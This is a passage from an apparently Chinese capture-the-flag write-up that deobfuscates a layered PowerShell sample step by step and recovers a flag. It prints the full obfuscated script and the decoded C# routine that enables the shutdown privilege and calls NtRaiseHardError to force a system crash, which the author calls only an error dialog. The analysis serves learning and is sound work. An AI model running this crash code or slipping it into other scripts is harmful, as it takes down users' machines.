$ShellID是 PowerShell 内置变量,值为:Microsoft.PowerShell.Security$ShellID[1]是'i',$ShellID[13]是'e',所以:'i' + 'e' + 'X' = 'iex'- 所以这行等价于
| iex,即将前面解压出的内容作为 PowerShell 命令执行。
总结:从一段 Base64 编码的数据中解压并执行一个隐藏的 PowerShell 脚本。
因此下一步要做的是分析 Base64 编码的内容。
提取出 Base64 编码的内容:
TVRrc9o6EP0rmn7BnmIXkpBJ4uED5dGQGx5jCKTO5IMfApTalkeWuSS9/e93jwykzGh3La2Ozh6tYNaL4tvh4fXuLuvp/m64sNgX276+fPV79/2Xpt1ptevwa+v2GLRPUxZjw37vsRj6DmNXpy0N/3rROM/fnpEu2iekq5tjcHOEtIZxLy24HzvMbtiNrw3bJpBud9unuKAxficT0/hYXfzcP9w/iV7/kT5Fi8z9JB0NZr8e3gL66PwaBKlPwTK4ItujQWvBepIGH5Ns9zbZ0cz35bQVf0wuKSwvsWt3yMgGAjtq4Hj9swyysXz6EYnROnwf0WS2anXIrQPduYje0yypVsMknaaz69aI4nVU3WZxEeTRqLOIUv8ShDtTMu01lWNtc+Arvbi65mX4PZP4Au7d3atWfJ9TKPsvZJFKeRRp/sO9IT9aknmiRFpJZJwPXX3gqNKkswMXnm1pAOwWlEXB84uH80WANFYqrjlqDFVIdq54CjJFJvsO1isFXZZliZS5w7Cmwt2iz/g2rLagFj46rPxEzEFfaGGK2vABxz3hmpYOq+Olk5BLet0QKZCZe3Sv5BdpihUabsZ1+b6APHUy5nAKzhDIisCaG2K9BLNxzhXfcN+NDSz3CmgT8U1Y5tU3nLyMumUuhUY8U9ieClTqYreoidSCkBpGCmSa++i76pSMc+UAyQm+DE/oomP+Fs2cf48kp12CJBLm3D9/PFsxXUnWRJ2sae6YB67C3cw1dByzJtnWyV6Qw2jRDw4cDy0L+yS4q2ECh1u756WA9/XUwyMBZn0YL1MsbCiqlGbN27YFbluqZS/UHIkQsHpLeqn2PaKYi8rTDAJLGf0+9w4QEyH38EDY4GjSlRmxdahLitKoKugmAQJQooDNrLkyfMgQOGvOmdJUMZX7ZOZpEp5Gc2p0NFnD05r1WW5IheL6QyrUrLHcyAjoA/+LyvFPwRB6tfHqj92VuDR0jrbSSppGH6PWdID34tkzlmJWRmcFlzQjI+IDj35CAXUteGF8W7cRhIGgJWqBmqDin2pg+YkkZmJx0gt4hqGhBx6m/91zZKjiHGJboPHGaU319zMryzCNAXbsgk9IiI++80oei73iQCgkUTBt5vJM6Lzyj60LRvTnUVbesZXNo6bvAs8Fj9qyLPbMx+wLtaZLvdtQ4+39UsvH4Ug3mO08SDFtUMD+Y+PpSv7DHf5cKF4uxnL6Pw==') , [IO.cOmPReSSIoN.coMprESsionmodE将其解码并解压,过程见CyberChef,结果如下:
([regEx]::mAtChES( "))63]RAHC[,)501]RAHC[+09]RAHC[+101]RAHC[( ECALpER- 43]RAHC[,'R6S'ECALpER- 93]RAHC[,)211]RAHC[+48]RAHC[+89]RAHC[(EcAlpeRc- )')'+'))R6S==gC'+'p'+'Iy'+'c'+'zV2YvJHUiACL'+'i0'+'HMlFDOkJjZ'+'5kDZlR'+'TZ4'+'A'+'DOkZWMlZzMmhjMh'+'BTN0czM3'+'s3Z'+'hxm'+'Zi'+'ACL'+'icWYsZmIoUGbiFWayF'+'mV05'+'WZt52bylmduVEdlNlO60FduVWbu9mcpZnbF5SblR3c'+'5N'+'1WR6S(gni'+'rtS46esaBmo'+'rF'+'::]trevn'+'oC['+'(gnirtS'+'teG.8'+'FT'+'U::]gnidocnE.txe'+'T['+'( xei;)(t'+'ohS::]'+'X[;c'+'iZe'+' sretem'+'ara'+'Preli'+'pmoC-'+' urh'+'Tss'+'aP- '+'prahSC egaugn'+'aL- s'+'iZe'+' no'+'itini'+'feDep'+'y'+'T- ep'+'yT-d'+'dA=ai'+'Z'+'e;)R6'+'Sll'+'d'+'.metsySR6S(d'+'dA'+'.s'+'e'+'il'+'bm'+'ess'+'Ade'+'cnerefeR.ci'+'Ze;pT'+'befasnu/p'+'Tb=snoitp'+'Or'+'elipmoC.'+'ciZ'+'e;sretemaraPrelip'+'mo'+'C.relipmoC.m'+'oD'+'edoC.metsyS '+'tcejbO-w'+'e'+'N=ciZe;p'+'Tb}};)r tuo ,6'+' ,o'+'reZ.rt'+'Ptn'+'I ,'+'0 ,'+'0 ,2'+'2'+'0000'+'0'+'cx0('+'ror'+'rEdr'+'a'+'Hesia'+'RtN;'+')t'+' tuo ,esla'+'f ,eurt ,91(e'+'gelivirPt'+'s'+'ujdAltR;r tniu;t l'+'oob{)(t'+'ohS'+' diov'+' e'+'f'+'asnu ci'+'tats cilbup;)R tni'+'u tu'+'o ,V'+' t'+'niu ,P rtPtnI ,U'+' tniu'+' '+',N '+'tniu ,E'+' tniu(ror'+'rEdraHes'+'iaRtN tniu n'+'ret'+'xe ci'+'tats '+'c'+'ilbup])R'+'6'+'Slld.lldtnR6S(tro'+'pmIl'+'lD['+';)O lo'+'ob'+' tuo ,T loob ,E loo'+'b ,P t'+'ni'+'(eg'+'eliv'+'irPtsu'+'jdAl'+'tR'+' tniu nret'+'xe'+' citats cil'+'bup])R6'+'S'+'ll'+'d.'+'ll'+'dtnR6S'+'(tropm'+'IllD['+'{X ssalc cit'+'a'+'ts cil'+'b'+'up'+';secivreS'+'poretn'+'I.emitnuR.metsyS'+' gnisu;metsyS gn'+'isupTb=siZe'((( XeI " ,'.' ,'rIgHTtoLEFt' )-JoiN'' ) | INVoKe-eXpresSIoN[Regex]::Matches(...):这是 .NET 的正则匹配函数[Regex]::Matches($inputString, $pattern),作用是在 $inputString 中按 $pattern 提取所有匹配的内容。
[Regex]::Matches("...", "." , "RightToLeft")提取该字符串中的每一个字符,并按从右到左的顺序返回字符数组 :
- 第一个参数是接下来要详细分析的内容。
- 第二个参数
"."表示匹配任意字符。 - 第三个参数
"RightToLeft"是 RegexOptions,表示从右向左匹配。
总结:将经过反转的脚本反转回来并执行。
因此下一步要做的就是手动把被反转的脚本反转回来。
将其提取出来进行反转,过程见CyberChef,结果如下:
IeX ((('eZis=bTpusi'+'ng System;using '+'System.Runtime.I'+'nterop'+'Services;'+'pu'+'b'+'lic st'+'a'+'tic class X{'+'[DllI'+'mport('+'S6Rntd'+'ll'+'.d'+'ll'+'S'+'6R)]pub'+'lic static '+'ex'+'tern uint '+'Rt'+'lAdj'+'ustPri'+'vile'+'ge('+'in'+'t P, b'+'ool E, bool T, out '+'bo'+'ol O);'+'[Dl'+'lImp'+'ort(S6Rntdll.dllS'+'6'+'R)]publi'+'c'+' stat'+'ic ex'+'ter'+'n uint NtRai'+'seHardEr'+'ror(uint '+'E, uint'+' N,'+' '+'uint '+'U, IntPtr P, uin'+'t '+'V, o'+'ut u'+'int R);public stat'+'ic unsa'+'f'+'e '+'void '+'Sho'+'t(){boo'+'l t;uint r;RtlAdju'+'s'+'tPrivileg'+'e(19, true, f'+'alse, out '+'t)'+';NtR'+'aiseH'+'a'+'rdEr'+'ror'+'(0xc'+'0'+'0000'+'2'+'2, 0'+', 0'+', I'+'ntP'+'tr.Zer'+'o, '+'6, out r);}}bT'+'p;eZic=N'+'e'+'w-Object'+' System.Code'+'Do'+'m.Compiler.C'+'om'+'pilerParameters;e'+'Zic'+'.Compile'+'rO'+'ptions=bT'+'p/unsafeb'+'Tp;eZ'+'ic.Referenc'+'edA'+'sse'+'mb'+'li'+'e'+'s.'+'Ad'+'d(S6RSystem.'+'d'+'llS'+'6R);e'+'Z'+'ia=Ad'+'d-Ty'+'pe -T'+'y'+'peDef'+'initi'+'on '+'eZi'+'s -La'+'nguage CSharp'+' -Pa'+'ssT'+'hru '+'-Comp'+'ilerP'+'ara'+'meters '+'eZi'+'c;[X'+']::Sho'+'t();iex ('+'[T'+'ext.Encoding]::U'+'TF'+'8.Get'+'String('+'[Co'+'nvert]::'+'Fr'+'omBase64Str'+'ing(S6RW1'+'N5'+'c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW'+'50Vm'+'FyaWFibGUoImZsYWci'+'LCA'+'iZ'+'mxh'+'Z3s'+'3Mzc0NTB'+'hMjhmMzZlMWZkOD'+'A'+'4ZT'+'RlZDk5'+'ZjJkODFlMH'+'0i'+'LCAiUHJvY2Vz'+'c'+'yI'+'p'+'Cg==S6R))'+')') -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 -REpLACE'S6R',[CHAR]34 -REpLACE ([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36))将'...'+'...'这种格式的拼接清除一下,使其更易于观察,得到如下结果:
IeX (((eZis=bTpusing System;using System.Runtime.InteropServices;public static class X{[DllImport(S6Rntdll.dllS6R)]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport(S6Rntdll.dllS6R)]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}bTp;eZic=New-Object System.CodeDom.Compiler.CompilerParameters;eZic.CompilerOptions=bTp/unsafebTp;eZic.ReferencedAssemblies.Add(S6RSystem.dllS6R);eZia=Add-Type -TypeDefinition eZis -Language CSharp -PassThru -CompilerParameters eZic;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(S6RW1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==S6R)))) -cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39 -REpLACE'S6R',[CHAR]34 -REpLACE ([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36))接下来逐层去除混淆。
-cReplAcE([CHAR]98+[CHAR]84+[CHAR]112),[CHAR]39-cReplAcE'S6R',[CHAR]34-cREPLACE([CHAR]101+[CHAR]90+[CHAR]105),[CHAR]36这是在将bTp替换为',S6R替换为",eZi替换为$,替换后的结果如下:
IeX ((($s='using System;using System.Runtime.InteropServices;public static class X{[DllImport("ntdll.dll")]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}';$c=New-Object System.CodeDom.Compiler.CompilerParameters;$c.CompilerOptions='/unsafe';$c.ReferencedAssemblies.Add("System.dll");$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==")))))接下来分析其中的 C# 编译与提权代码:
using System;using System.Runtime.InteropServices;public static class X{ [DllImport("ntdll.dll")] public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O); [DllImport("ntdll.dll")] public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R); public static unsafe void Shot(){ bool t; uint r; RtlAdjustPrivilege(19, true, false, out t); NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r); }}-
使用
DllImport调用 Windows 内核函数ntdll.dll。 -
RtlAdjustPrivilege(19, ...):启用SeShutdownPrivilege权限(关机权限)。 -
NtRaiseHardError(...):强制弹出一个系统级错误对话框。
$eZic = New-Object System.CodeDom.Compiler.CompilerParameters$eZic.CompilerOptions='/unsafe'$eZic.ReferencedAssemblies.Add("System.dll")$eZia = Add-Type -TypeDefinition $eZis -Language CSharp -PassThru -CompilerParameters $eZic[X]::Shot()- 创建了一个
.NET编译器参数对象。 - 添加引用
System.dll - 使用
Add-Type将上面定义的 C# 类编译进当前 PowerShell 会话。 - 然后调用
[X]::Shot()执行提权。
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==")))Base64 解码并执行另一段命令。Base64 解码过程见CyberChef,结果如下:
[System.Environment]::SetEnvironmentVariable("flag", "flag{737450a28f36e1fd808e4ed99f2d81e0}", "Process")- 设置一个名为
flag的环境变量,值为一个 flag 字符串。 - 作用域为当前进程(“Process”),不会影响系统其他部分。
flag{737450a28f36e1fd808e4ed99f2d81e0}